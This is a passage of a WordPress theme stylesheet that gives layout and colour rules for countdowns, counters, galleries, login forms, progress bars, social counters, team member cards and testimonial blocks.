	font-size: 70px
}
.penci-countdown-s2 .penci-countdown-period,
.penci-countdown-s3 .penci-countdown-period,
.penci-countdown-s4 .penci-countdown-period {
	margin-bottom: 15px
}
.penci-countdown-s2 .penci-span-inner span,
.penci-countdown-s3 .penci-span-inner span,
.penci-countdown-s4 .penci-span-inner span {
	display: block
}
.penci-countdown-s2 .penci-span-inner {
	border-color: var(--pcaccent-cl)
}
.penci-countdown-s3 .penci-span-inner {
	border-color: #f5f5f5;
	background-color: #f5f5f5;
	border-radius: 50%
}
.penci-countdown-s4 .penci-span-inner {
	border: 0;
	background: #fff;
	border-radius: 50%;
	box-shadow: 0 0 30px 0 rgba(0, 0, 0, .1)
}
.penci-cup_icon {
	font-size: 80px;
	display: inline-block;
	font-weight: 700;
	text-align: center;
	line-height: 1;
	margin-bottom: 12px
}
.penci-cup-number-wrapper {
	font-size: 50px;
	line-height: 50px;
	margin-bottom: 5px;
	color: #111;
	display: inline-block
}
.penci-cup-number-wrapper .penci-span-inner {
	display: flex;
	align-items: center
}
.penci-counter-up .penci-cup-label {
	font-size: 70%;
	line-height: 100%
}
.penci-counter-up .penci-counterup-number {
	margin-left: 5px;
	margin-right: 5px
}
.penci-counter-up .penci-cup-title {
	font-family: var(--pchead-font);
	font-style: normal;
	font-weight: var(--pchead-wei);
	font-size: 24px;
	margin-top: 5px
}
.penci-counterup-center {
	text-align: center
}
.penci-counterup-right {
	text-align: right;
	float: right
}
.penci-counterup-left {
	text-align: left
}
.penci-counter-up.penci-style-s2 .penci-counter-up_inner {
	display: flex;
	align-items: center
}
.penci-style-s2 .penci-cup_icon {
	margin-right: 15px
}
.penci-image-not-caption .caption {
	display: none !important
}
.penci-image-gallery-s2 .penci-block_content,
.penci-image-gallery-s3 .penci-block_content {
	display: flex;
	flex-wrap: wrap
}
.penci-image-gallery .pencisc-grid {
	grid-column-gap: 0;
	grid-row-gap: 0
}
.penci-image-gallery .caption {
	position: absolute;
	bottom: 0;
	background-color: #000;
	left: 0;
	right: 0;
	margin: 0;
	color: #fff;
	font-size: 12px;
	font-family: sans-serif;
	font-weight: inherit;
	padding: 9px 15px;
	line-height: 1.5;
	background: rgba(0, 0, 0, .6);
	opacity: 0;
	transition: all .3s;
	z-index: 20
}
.penci-gallery-item:hover .caption {
	opacity: 1
}
.penci-gallery-item i {
	font-size: 25px;
	width: 1em;
	height: 1em;
	margin-left: -.5em;
	margin-top: -.5em;
	color: #fff;
	position: absolute;
	top: 50%;
	left: 50%;
	z-index: 20;
	transition: all .4s;
	opacity: 0;
	visibility: visible;
	transform: scale(.7)
}
.penci-gallery-item a::after {
	content: "";
	background: var(--pcaccent-cl);
	width: 100%;
	height: 100%;
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	z-index: 10;
	transition: all .3s;
	visibility: visible;
	opacity: 0
}
.penci-gallery-item:hover i {
	opacity: 1;
	visibility: visible;
	transform: scale(1)
}
.penci-gallery-item a:hover:after {
	opacity: .6;
	visibility: visible
}
.penci-image-gallery-s2 .penci-galitem-1 {
	width: 50%;
	float: left
}
.penci-image-gallery-s2 .penci-post-smalls,
.penci-image-gallery-s2 .penci-post-smalls .penci-gallery-item {
	width: 50%;
	float: left
}
.penci-image-gallery-s3 .penci-gallery-big-item,
.penci-image-gallery-s4 .penci-gallery-big-item {
	width: 50%;
	float: left
}
.penci-image-gallery-s3 .penci-gallery-small-item,
.penci-image-gallery-s4 .penci-gallery-small-item {
	width: 33.3333%;
	float: left
}
.penci-login-register input[type=email],
.penci-login-register input[type=number],
.penci-login-register input[type=password],
.penci-login-register input[type=submit],
.penci-login-register input[type=text] {
	max-width: 100%;
	width: 100%
}
.penci-login-register p,
.post-entry .penci-login-register p {
	margin-bottom: 0
}
.penci-login-register p.login-submit {
	margin: 28px 0 0;
	clear: both
}
.penci-loginform-extra {
	margin-top: 15px
}
.penci-loginform-extra a:first-child {
	margin-right: 10px
}
.penci-login-form .penci-user-logged-in {
	text-align: center
}
.penci-user-logged-in .penci-login-header img {
	border-radius: 50%;
	width: 85px;
	height: 85px
}
.penci-user-logged-in .penci-login-header {
	text-align: center;
	margin-bottom: 15px
}
.penci-user-logged-in .penci-text-hello {
	opacity: .75
}
.penci-user-logged-in .penci-display_name {
	font-weight: 700
}
.penci-user-logged-in .penci-user-action-links a {
	display: inline-block;
	text-decoration: none;
	line-height: 30px;
	height: 30px;
	font-weight: 400;
	text-transform: none;
	font-size: 13px;
	float: left;
	width: 48%;
	font-family: var(--pchead-font);
	background: #f5f5f5;
	border-radius: 0;
	color: #313131;
	transition: .3s;
	cursor: pointer;
	text-align: center;
	margin: 0;
	padding: 0;
	max-width: 100%
}
.penci-user-logged-in .penci-user-action-links a:hover {
	color: #fff;
	background: var(--pcaccent-cl)
}
.penci-user-logged-in .penci-user-action-links i {
	margin-right: 5px
}
.penci-user-logged-in .penci-user-action-links a:first-child {
	margin-right: 4%
}
.penci-login-register .penci-login-wrap.hidden,
.penci-login-register .penci-register-wrap.hidden {
	display: none
}
.penci-login-register input.invalid {
	border-color: red !important
}
.penci-login-register .message-error {
	color: #a94442;
	background: #f2dede
}
.penci-login-register .message-success {
	color: #3c763d;
	background: #dff0d8
}
.penci-login-register .message {
	display: block;
	margin-top: 10px;
	padding: 5px 15px;
	text-align: left;
	clear: both
}
.penci-block_content {
	position: relative
}
.penci-block_content .penci-loading-icon {
	display: none
}
.penci-block_content.ajax-loading .penci-loading-icon {
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	left: 0;
	display: flex;
	align-items: center;
	justify-content: center
}
.penci-block_content.ajax-loading .penci-login-wrap,
.penci-block_content.ajax-loading .penci-register-wrap {
	opacity: .3
}
.penci-mailchimp-s1 .mc4wp-form,
.penci-mailchimp-s1 .widget input,
.penci-mailchimp-s4 .mc4wp-form {
	max-width: 100%
}
.penci-mailchimp-s2 .penci-header-signup-form {
	margin: 0;
	padding: 20px
}
.penci-mailchimp-s3 .footer-subscribe .mc4wp-form {
	max-width: 540px;
	margin: 0 auto
}
.penci-mailchimp-block .mc4wp-form input[type=submit]:not(:hover) {
	background: #313131;
	color: #fff
}
.penci-working-hours .penci-workingh-lists ul {
	margin: 0;
	padding: 0
}
.penci-working-hours .penci-workingh-lists li {
	list-style: none;
	line-height: 30px;
	color: #666;
	margin-left: 0;
	font-size: 15px
}
.penci-working-hours .penci-workingh-lists li:last-child {
	margin-bottom: 0 !important;
	padding-bottom: 0 !important
}
.penci-working-hours .penci-workingh-lists .penci-workingh-item-inner {
	position: relative;
	overflow: hidden
}
.penci-working-hours .penci-workingh-lists .penci-workingh-line1 {
	display: flex;
	align-items: flex-start
}
.penci-working-hours .penci-workingh-lists .penci-icontitle {
	flex: 1;
	overflow: hidden
}
.penci-working-hours .penci-workingh-lists .penci-listitem-icon {
	font-size: 14px;
	padding-right: 10px;
	padding-left: 1px
}
.penci-working-hours .penci-workingh-lists .penci-listitem-title {
	font-weight: 700;
	position: relative;
	line-height: 1.3
}
.penci-working-hours .penci-workingh-lists .penci-listitem-title:before {
	content: "";
	border-top: 1px dotted;
	position: absolute;
	bottom: 20%;
	left: 100%;
	margin-left: 10px;
	width: 2000px;
	opacity: .7
}
.penci-working-hours .penci-workingh-lists .penci-listitem-hours {
	float: right;
	z-index: 1;
	position: relative;
	padding-left: 10px
}
.penci-working-hours .penci-workingh-lists .penci-listitem-subtitle {
	display: block;
	line-height: 1.3;
	margin-bottom: 5px
}
.penci-working-hours .penci-workingh-lists .penci-listitem-hours,
.penci-working-hours .penci-workingh-lists .penci-listitem-title,
.penci-working-hours .penci-workingh-lists .penci-workingh-icon {
	line-height: inherit;
	color: inherit
}
.penci-progress-bar .penci-probar-items {
	margin: 0;
	padding: 0
}
.penci-progress-bar .penci-probar-items li {
	list-style: none;
	margin-left: 0;
	margin-bottom: 20px
}
.penci-progress-bar .penci-probar-items li:last-child {
	margin-bottom: 0 !important
}
.penci-progress-bar .penci-probar-items .penci-probar-text {
	line-height: 1.3;
	color: #111
}
.penci-progress-bar .penci-probar-items .penci-probar-point {
	font-weight: 700;
	text-transform: uppercase
}
.penci-progress-bar .penci-probar-items .penci-probar-score {
	float: right;
	text-align: right
}
.penci-progress-bar .penci-probar-items .penci-review-process {
	margin-top: 10px;
	overflow: hidden
}
.penci-progress-bar .penci-review-process {
	display: block;
	height: 13px;
	background-color: #e6e6e6;
	width: 100%;
	margin-top: 5px
}
.penci-progress-bar .penci-review-process span {
	display: block !important;
	height: 100%;
	width: 0;
	background-color: var(--pcaccent-cl)
}
.penci-progress-bar .penci-probar-animated {
	transition: width 1s linear;
	-moz-transition: width 1s linear;
	-webkit-transition: width 1s linear;
	-o-transition: width 1s linear;
	-webkit-animation: progress-bar-stripes 2s linear infinite;
	-moz-animation: progress-bar-stripes 2s linear infinite;
	-ms-animation: progress-bar-stripes 2s linear infinite;
	-o-animation: progress-bar-stripes 2s linear infinite;
	animation: progress-bar-stripes 2s linear infinite
}
.penci-progress-bar .penci-probar-striped {
	background-image: -webkit-gradient(linear, 0 100%, 100% 0, color-stop(.25, rgba(255, 255, 255, .15)), color-stop(.25, transparent), color-stop(.5, transparent), color-stop(.5, rgba(255, 255, 255, .15)), color-stop(.75, rgba(255, 255, 255, .15)), color-stop(.75, transparent), to(transparent));
	background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
	background-image: -moz-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
	background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
	background-image: linear-gradient(45deg, rgba(255, 255, 255, .15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, .15) 50%, rgba(255, 255, 255, .15) 75%, transparent 75%, transparent);
	-webkit-background-size: 40px 40px;
	-moz-background-size: 40px 40px;
	-o-background-size: 40px 40px;
	background-size: 40px 40px
}
@-webkit-keyframes progress-bar-stripes {
	from {
		background-position: 40px 0
	}
	to {
		background-position: 0 0
	}
}
@-moz-keyframes progress-bar-stripes {
	from {
		background-position: 40px 0
	}
	to {
		background-position: 0 0
	}
}
@-ms-keyframes progress-bar-stripes {
	from {
		background-position: 40px 0
	}
	to {
		background-position: 0 0
	}
}
@-o-keyframes progress-bar-stripes {
	from {
		background-position: 0 0
	}
	to {
		background-position: 40px 0
	}
}
@keyframes progress-bar-stripes {
	from {
		background-position: 40px 0
	}
	to {
		background-position: 0 0
	}
}
.pcsoc-wrapper-outside {
	width: 100%;
	display: block;
	clear: both
}
.pcsoc-wrapper {
	display: -ms-flexbox;
	display: flex;
	-ms-flex-wrap: wrap;
	flex-wrap: wrap;
	flex-direction: column;
	--pcsoc-space: 10px;
	--pcsoc-bspace: 10px;
	flex-direction: row;
	margin-left: calc(var(--pcsoc-space) * -1 / 2);
	margin-right: calc(var(--pcsoc-space) * -1 / 2)
}
.pcsocs-s4 {
	justify-content: center
}
.pcsoc-wrapper .pcsoc-item {
	color: var(--pctext-cl);
	text-decoration: none !important;
	line-height: 38px;
	display: -ms-flexbox;
	display: -ms-flexbox;
	display: block;
	font-size: 14px;
	transition: background-color .3s, border-color .3s, opacity .3s, color .3s;
	--pcsci-bg: #f5f5f5;
	--pcsci-hbg: #ccc;
	--pcsci-border: var(--pcborder-cl)
}
.pcsoc-wrapper .pcsoc-item:after,
.pcsoc-wrapper .pcsoc-item:before {
	clear: both;
	content: "";
	display: table
}
.pcsoc-wrapper .pcsoc-icon {
	font-size: 16px
}
.pcsoc-wrapper .pcsoc-counter {
	font-size: inherit;
	font-weight: 700;
	margin-right: 5px;
	text-transform: uppercase
}
.pcsoc-wrapper.pcsocs-s3 .pcsoc-counter.pcsoc-socname,
.pcsoc-wrapper.pcsocs-s4 .pcsoc-counter.pcsoc-socname {
	text-transform: capitalize
}
.pcsoc-wrapper .pcsoc-fan {
	font-size: inherit
}
.pcsoc-wrapper .pcsoc-item {
	background: var(--pcsci-bg);
	margin-bottom: var(--pcsoc-bspace)
}
.pcsoc-wrapper .pcsoc-item-wrap:last-child .pcsoc-item {
	margin-bottom: 0
}
.pcsoc-wrapper.pcsocs-s1,
.pcsoc-wrapper.pcsocs-s2 {
	white-space: nowrap
}
.pcsoc-wrapper .pcsoc-item:hover {
	background: var(--pcsci-hbg)
}
.pcsoc-wrapper.pcsocs-s1 .pcsoc-icon,
.pcsoc-wrapper.pcsocs-s2 .pcsoc-icon {
	width: 40px;
	text-align: center;
	line-height: inherit;
	display: inline-block;
	float: left
}
.pcsoc-wrapper.pcsocs-s1 .pcsoc-like,
.pcsoc-wrapper.pcsocs-s2 .pcsoc-like {
	float: right;
	margin: 0 10px
}
.pcsoc-wrapper.pcsocs-s2 .pcsoc-item,
.pcsoc-wrapper.pcsocs-s4 .pcsoc-item {
	background: 0 0
}
.pcsocs-s2 .pcsoc-icon {
	background: var(--pcsci-bg);
	margin-right: 15px;
	transition: background-color .3s, color .3s, border-color .3s
}
.pcsoc-wrapper .pcsoc-item-wrap {
	padding-left: calc(var(--pcsoc-space)/ 2);
	padding-right: calc(var(--pcsoc-space)/ 2)
}
.pcsoc-wrapper.pcsocs-s3 .pcsoc-item-wrap,
.pcsoc-wrapper.pcsocs-s4 .pcsoc-item-wrap {
	flex: 0 0 33.33333%;
	align-items: center;
	text-align: center
}
.pcsoc-wrapper.pcsocs-s4 {
	--pcsoc-space: 20px;
	--pcsoc-bspace: 20px
}
.pcsoc-wrapper.pcsocs-s4 .pcsoc-item-wrap {
	flex: unset
}
.pcsoc-wrapper.pcsocs-s3 .pcsoc-item {
	line-height: 1;
	padding: 12px 1px
}
.pcsoc-wrapper.pcsocs-s3 .pcsoc-item.empty-count {
	min-height: calc(100% - 10px);
	justify-content: center;
	display: flex;
	align-items: center;
	flex-direction: column
}
.pcsoc-wrapper.pcsocs-s4 .pcsoc-item {
	line-height: 1
}
.pcsocs-s3 .pcsoc-item>span,
.pcsocs-s4 .pcsoc-item>span {
	display: block;
	margin-left: 0;
	margin-right: 0
}
.pcsocs-s4 .pcsoc-item>span {
	margin-left: auto;
	margin-right: auto
}
.pcsoc-wrapper.pcsocs-s3 .pcsoc-icon {
	font-size: 28px;
	line-height: 32px
}
.pcsoc-icon i,
.pcsoc-icon i[class*=" penciicon-"],
.pcsoc-icon i[class^=penciicon-] {
	display: block;
	line-height: inherit;
	vertical-align: top
}
.pcsoc-wrapper.pcsocs-s3 .pcsoc-counter {
	margin-top: 6px;
	font-size: 18px
}
.pcsoc-wrapper.pcsocs-s3 .pcsoc-fan {
	margin-top: 6px;
	font-size: 12px
}
.pcsocs-s4 .pcsoc-icon {
	width: 60px;
	height: 60px;
	display: inline-block;
	vertical-align: top;
	line-height: 60px;
	background: var(--pcsci-bg);
	transition: background-color .3s, color .3s, border-color .3s;
	font-size: 22px
}
.pcsocs-s2 .pcsoc-item:hover>.pcsoc-icon,
.pcsocs-s4 .pcsoc-item:hover>.pcsoc-icon {
	background: var(--pcsci-hbg)
}
.pcsoc-wrapper.pcsocs-s4 .pcsoc-counter {
	font-size: 18px;
	margin-top: 10px
}
.pcsoc-wrapper.pcsocs-s4 .pcsoc-fan {
	font-size: 12px;
	margin-top: 4px
}
.pcsocs-round.pcsocs-s1 .pcsoc-item,
.pcsocs-round.pcsocs-s2 .pcsoc-icon,
.pcsocs-round.pcsocs-s3 .pcsoc-item,
.pcsocs-round.pcsocs-s4 .pcsoc-icon {
	border-radius: 8px
}
.pcsocs-circle.pcsocs-s1 .pcsoc-item,
.pcsocs-circle.pcsocs-s2 .pcsoc-icon,
.pcsocs-circle.pcsocs-s3 .pcsoc-item,
.pcsocs-circle.pcsocs-s4 .pcsoc-icon {
	border-radius: 800px
}
.pcsocf-border .pcsc-brandflag {
	border: 1px solid var(--pcsci-border);
	background: 0 0
}
@media only screen and (min-width:1025px) {
	.pcsoc-wrapper.pcsocc-1 .pcsoc-item-wrap {
		flex: 0 0 100%
	}
	.pcsoc-wrapper.pcsocc-2 .pcsoc-item-wrap {
		flex: 0 0 50%
	}
	.pcsoc-wrapper.pcsocc-3 .pcsoc-item-wrap {
		flex: 0 0 33.3333%
	}
	.pcsoc-wrapper.pcsocc-4 .pcsoc-item-wrap {
		flex: 0 0 25%
	}
	.pcsocc-2 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,
	.pcsocc-3 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,
	.pcsocc-3 .pcsoc-item-wrap:nth-last-child(3) .pcsoc-item,
	.pcsocc-4 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,
	.pcsocc-4 .pcsoc-item-wrap:nth-last-child(3) .pcsoc-item,
	.pcsocc-4 .pcsoc-item-wrap:nth-last-child(4) .pcsoc-item {
		margin-bottom: 0
	}
}
@media only screen and (max-width:1024px) {
	.pcsoc-wrapper.pcsocc-tabcol-1 .pcsoc-item-wrap {
		flex: 0 0 100%
	}
	.pcsoc-wrapper.pcsocc-tabcol-2 .pcsoc-item-wrap {
		flex: 0 0 50%
	}
	.pcsoc-wrapper.pcsocc-tabcol-3 .pcsoc-item-wrap {
		flex: 0 0 33.3333%
	}
	.pcsoc-wrapper.pcsocc-tabcol-4 .pcsoc-item-wrap {
		flex: 0 0 25%
	}
	.pcsocc-tabcol-2 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,
	.pcsocc-tabcol-3 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,
	.pcsocc-tabcol-3 .pcsoc-item-wrap:nth-last-child(3) .pcsoc-item,
	.pcsocc-tabcol-4 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,
	.pcsocc-tabcol-4 .pcsoc-item-wrap:nth-last-child(3) .pcsoc-item,
	.pcsocc-tabcol-4 .pcsoc-item-wrap:nth-last-child(4) .pcsoc-item {
		margin-bottom: 0
	}
}
@media only screen and (max-width:479px) {
	.pcsoc-wrapper.pcsocc-mocol-1 .pcsoc-item-wrap {
		flex: 0 0 100%
	}
	.pcsoc-wrapper.pcsocc-mocol-2 .pcsoc-item-wrap {
		flex: 0 0 50%
	}
	.pcsoc-wrapper.pcsocc-mocol-3 .pcsoc-item-wrap {
		flex: 0 0 33.3333%
	}
	.pcsocc-mocol-2 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,
	.pcsocc-mocol-3 .pcsoc-item-wrap:nth-last-child(2) .pcsoc-item,
	.pcsocc-mocol-3 .pcsoc-item-wrap:nth-last-child(3) .pcsoc-item {
		margin-bottom: 0
	}
}
.pcsoccl-brandbg .pcsc-brandflag,
.pcsoccl-brandbg .pcsc-brandflag i,
.pcsoccl-brandbg .pcsc-brandflag span {
	color: #fff !important;
	border: none !important
}
.pcsocshadow .pcsc-brandflag {
	box-shadow: 0 1px 2px rgba(0, 0, 0, .075)
}
.pcsoccl-brandbg.pcsocs-s1 .pcsoc-item:hover,
.pcsoccl-brandbg.pcsocs-s2 .pcsoc-item:hover .pcsoc-icon,
.pcsoccl-brandbg.pcsocs-s3 .pcsoc-item:hover,
.pcsoccl-brandbg.pcsocs-s4 .pcsoc-item:hover .pcsoc-icon {
	opacity: .8
}
.pcsoc-wrapper-outside.source-customizer .pcsoc-wrapper.pcsocs-s3 .pcsoc-item.empty-count {
	flex-direction: column;
	min-height: unset
}
.pcsoc-wrapper-outside.source-customizer .pcsoc-wrapper.pcsocs-s3 .pcsoc-counter,
.pcsoc-wrapper-outside.source-customizer .pcsoc-wrapper.pcsocs-s4 .pcsoc-counter {
	font-size: 14px;
	font-weight: 400
}
.penci-teammb-bsc {
	text-align: center;
	--pcteammb-w: 28px
}
.penci-teammb-item {
	overflow: hidden
}
.penci-teammb-bsc .penci-teammb-inner {
	padding: 30px 15px
}
.penci-teammb-s1 .penci-teammb-inner {
	border: 1px solid #dedede
}
.penci-teammb-s1 .penci-teammb-img,
.penci-teammb-s2 .penci-teammb-img {
	width: 150px;
	height: 150px;
	border-radius: 50%;
	max-width: 100%;
	margin-bottom: 21px
}
.penci-teammb-s1 .penci-teammb-img:before,
.penci-teammb-s2 .penci-teammb-img:before {
	padding-top: 100%
}
.penci-teammb-bsc .penci-team_member_name {
	font-size: 20px;
	margin-top: 10px;
	margin-bottom: 0
}
.penci-team_member_desc {
	margin-top: 15px;
	line-height: 1.5
}
.penci-team_member_socails {
	margin-top: 7px;
	overflow: hidden
}
.penci-team_member_pos {
	color: #999;
	line-height: 1;
	margin-top: 10px
}
.penci-teammb-bsc .penci-team_member_socails {
	display: flex;
	align-items: center;
	justify-content: center;
	flex-wrap: wrap;
	line-height: 1
}
.penci-teammb-bsc .penci-team_member_socails .penci-social-item {
	margin: 8px 8px 0 8px;
	text-decoration: none
}
.pcteam-shape .penci-team_member_socails .penci-social-item {
	margin-left: 5px;
	margin-right: 5px
}
.pcteam-shape .penci-social-item i {
	width: var(--pcteammb-w);
	height: var(--pcteammb-w);
	display: inline-flex;
	align-items: center;
	justify-content: center;
	vertical-align: top;
	transition: all .3s;
	border: 1px solid transparent
}
.pcsc-shape-round .penci-social-item i {
	border-radius: 6px
}
.pcsc-shape-circle .penci-social-item i {
	border-radius: 50%
}
.pcsc-st-filled .penci-social-item i {
	background: #ececec;
	color: var(--pctext-cl)
}
.pcsc-st-bordered .penci-social-item i {
	border-color: var(--pcborder-cl);
	color: var(--pctext-cl)
}
.penci-social-colored .penci-social-item i {
	color: #fff !important;
	border: none !important
}
.penci-teammb-bsc .penci-team_member_socails .penci-social-item:first-child {
	margin-left: 0 !important
}
.penci-teammb-bsc .penci-team_member_socails .penci-social-item:last-child {
	margin-right: 0 !important
}
.penci-teammb-s2 .penci-teammb-inner {
	background-color: #f5f5f5;
	border: none;
	border-radius: 15px;
	padding-top: 40px;
	padding-bottom: 40px
}
.penci-teammb-s3 .penci-teammb-inner {
	background-color: #f5f5f5;
	padding: 0
}
.penci-teammb-s3 .penci-teammb-img {
	width: 100%;
	display: block
}
.penci-teammb-s3 .penci-teammb-img:before {
	padding-top: 66.6667%
}
.penci-teammb-s3 .penci-team_item__info {
	padding: 15px 20px 30px
}
.penci-teammb-s4 .penci-teammb-inner {
	background-color: #fff;
	box-shadow: 0 15px 30px 0 rgba(0, 0, 0, .1);
	padding: 0;
	position: relative
}
.penci-teammb-s4 .penci-teammb-img:before {
	padding-top: 120%
}
.penci-teammb-s4 .penci-team_item__info {
	padding: 20px 10px 20px;
	position: absolute;
	bottom: 0;
	left: 0;
	right: 0;
	z-index: 100;
	transform: translateY(35px);
	transition: all .3s
}
.penci-teammb-s4 .penci-social-wrap .penci-social-item {
	width: auto;
	height: auto;
	background: 0 0 !important
}
.penci-teammb-s4 .penci-team_member_desc {
	color: #fff;
	margin-top: 10px
}
.penci-teammb-s4 .penci-social-wrap .penci-social-item,
.penci-teammb-s4 .penci-team_member_name,
.penci-teammb-s4 .penci-team_member_pos {
	color: #fff
}
.penci-teammb-s4 .penci-team_member_socails .penci-social-item {
	margin-right: 10px;
	margin-left: 10px;
	font-size: 15px
}
.penci-teammb-s4 .penci-social-wrap .penci-social-item:hover {
	color: var(--pcaccent-cl)
}
.penci-teammb-s4 .penci-teammb-img:after {
	content: "";
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	background: #000;
	z-index: 1;
	bottom: 0;
	right: 0;
	background: linear-gradient(to bottom, transparent 50%, #000 90%);
	opacity: .6;
	transition: opacity .3s
}
.penci-teammb-s4 .penci-teammb-item:hover .penci-team_item__info,
.penci-teammb-s5 .penci-teammb-item .penci-team_item__info {
	transform: translateY(0)
}
.penci-teammb-s4.penci-teammb-bsc .penci-team_member_socails {
	opacity: 0;
	transition: opacity .3s
}
.penci-teammb-s4 .penci-teammb-item:hover .penci-team_member_socails,
.penci-teammb-s5 .penci-teammb-item .penci-team_member_socails {
	opacity: 1
}
.penci-testimonail {
	text-align: center;
	position: relative
}
.penci-smalllist.penci-testimonails {
	--pcsl-hgap: 30px;
	--pcsl-bgap: 30px;
	--pcsl-between: 30px
}
.penci-testimonail .penci-testi-bq-icon:before {
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	box-sizing: border-box
}
.penci-testi-s1 .penci-testimonail .penci-testi-blockquote {
	font-size: 23px;
	font-weight: 500;
	font-style: italic;
	line-height: 1.5;
	color: #111;
	clear: both;
	position: relative;
	text-align: center;
	background-color: #f5f5f5;
	padding: 39px 30px 35px;
	margin-top: 24px
}
.penci-testi-s1 .penci-testimonail .penci-testi-bq-icon {
	width: 48px;
	height: 48px;
	position: absolute;
	top: -24px;
	left: 50%;
	margin-left: -24px
}
.penci-testi-bq-icon:before {
	content: "\f101";
	font-family: penciicon;
	font-weight: 400;
	font-style: normal
}
.penci-testi-s1 .penci-testimonail .penci-testi-bq-icon:before {
	display: block;
	text-align: center;
	border-radius: 50%;
	margin: 0;
	width: 48px;
	height: 48px;
	font-size: 21px;
	line-height: 48px;
	background-color: var(--pcaccent-cl);
	color: #fff;
	z-index: 2
}
.penci-testi-rating {
	color: #ffb74d;
	font-size: 18px;
	line-height: 1;
	margin-top: 15px
}
.penci-testi-rating i:not(:last-child) {
	margin-right: 3px
}
.penci-testi-blockquote {
	line-height: 1.5
}
.penci-testi-avatar {
	width: 60px;
	height: 60px;
	border-radius: 50%;
	overflow: hidden;
	margin: 25px auto 0;
	background: #e6e9ec
}
.penci-testi-s4 .penci-testi-avatar {
	margin-top: 0
}
.penci-testi-s4 .penci-testi-blockquote {
	margin-top: 12px;
	position: relative
}
.penci-testimonails .penci-testi-avatar img {
	width: 100%;
	height: 100%;
	display: block;
	object-fit: cover
}
.penci-testi-name,
.post-entry h3.penci-testi-name {
	font-size: 16px;
	margin-top: 18px;
	margin-bottom: 0
}
.penci-testi-company {
	font-size: 13px;
	margin-top: 10px;
	line-height: 1.3;
	color: var(--pcmeta-cl)
}
.penci-testi-company .testiname {
	font-weight: 700;
	color: var(--pctext-cl)
}
.penci-testi-company span:last-child {
	margin-left: 5px
}
.penci-testi-s2 .penci-testimonail {
	text-align: left
}
.penci-testi-s2 .penci-testimonail .penci-testi-blockquote {
	border: 1px solid var(--pcborder-cl);
	background-color: var(--pcbg-cl);
	border-radius: 15px;
	padding: 30px 30px 56px
}
.penci-testi-s2 .penci-testimonail .penci-testi-bq-icon:before {
	display: block;
	text-align: left;
	border-radius: 50%;
	margin: 0;
	width: 48px;
	height: 48px;
	font-size: 42px;
	line-height: 48px;
	z-index: 2;
	color: var(--pcaccent-cl)
}
.penci-testi-s2 .penci-testi-avatar {
	margin-left: 30px;
	margin-top: -30px;
	position: relative;
	z-index: 10
}
.penci-testi-s2 .penci-testi-rating {
	margin-top: 5px
}
.penci-testi-s2 .penci-testi-company,
.penci-testi-s2 .penci-testi-name {
	margin-left: 30px
}
.penci-testi-s3 .penci-testimonail .penci-testi-bq-icon:before {
	display: block;
	text-align: center;
	border-radius: 50%;
	margin: 0 auto;
	width: 48px;
	height: 48px;
	font-size: 21px;
	line-height: 48px;
	z-index: 2;
	border: 2px solid var(--pcaccent-cl);
	color: var(--pcaccent-cl)
}
.penci-testi-s3 .penci-testi-bq-icon {
	margin-bottom: 16px;
	display: block
}
.penci-testi-s3 .penci-testimonail .penci-testi-blockquote {
	font-size: 23px;
	font-style: italic;
	line-height: 1.5;
	color: #111;
	clear: both;
	position: relative;
	text-align: center
}
.penci-testi-s3 .penci-testi-name {
	text-transform: uppercase;
	color: var(--pcaccent-cl)
}
.penci-testi-s4.penci-testimonails {
	overflow: visible
}
.penci-testi-s4 .pc-testiinner {
	padding: 20px;
	box-shadow: 0 0 4px rgba(0, 0, 0, .15)
}
.pctesti-head,
.penci-testi-s4.pcimgpos-left .pc-testiinner,
.penci-testi-s4.pcimgpos-right .pc-testiinner {
	display: flex;
	align-items: flex-start;
	flex-direction: row
}
.pctesti-head {
	align-items: center
}
.penci-testi-s4.pcimgpos-right .pc-testiinner {
	flex-direction: row-reverse
}
.pcimgpos-left .penci-testi-rating,
.pcimgpos-right .penci-testi-rating {
	margin-top: 0
}
.pctesti-head .pc-testiava,
.penci-testi-s4 .pc-testiava {
	flex: 0 0 auto
}
.pctesti-head .pctesticont,
.penci-testi-s4 .pctesticont {
	flex: 1 1 auto
}
.penci-testi-s4.pcimgpos-left .pctesticont {
	text-align: left
}
.penci-testi-s4.pcimgpos-right .pctesticont {
	text-align: right
}
.pctesti-head .pc-testiava,
.penci-testi-s4.pcimgpos-left .pc-testiava {
	margin-right: 20px
}
.penci-testi-s4.pcimgpos-right .pc-testiava {
	margin-left: 20px
}
.penci-testi-s4 .owl-stage-outer,
.penci-testi-s4 .penci-owl-carousel:not(.penci-owl-loaded) {
	padding-top: 6px;
	padding-bottom: 6px
}
.penci-testi-s4 .penci-testi-bq-inner,
.penci-testi-s5 .penci-testi-bq-inner {
	position: relative
}
.penci-testi-s4 .penci-testi-bq-icon:before,
.penci-testi-s5 .penci-testi-bq-icon:before {
	position: absolute;
	display: inline-block;
	font-size: 26px;
	color: rgba(0, 0, 0, .1);
	right: 0;
	top: -8px;
	transform: rotate(180deg)
}
.penci-testi-s4.pcimgpos-right .penci-testi-bq-icon:before {
	left: 0;
	right: auto;
	transform: none
}
.penci-testi-s4 .penci-testi-company span {
	display: inline-block
}
.penci-testi-s5 .penci-testimonail {
	text-align: left
}
.penci-testi-s5 .penci-testi-blockquote {
	padding: 20px;
	background: #f5f5f5;
	margin-bottom: 20px;
	position: relative
}
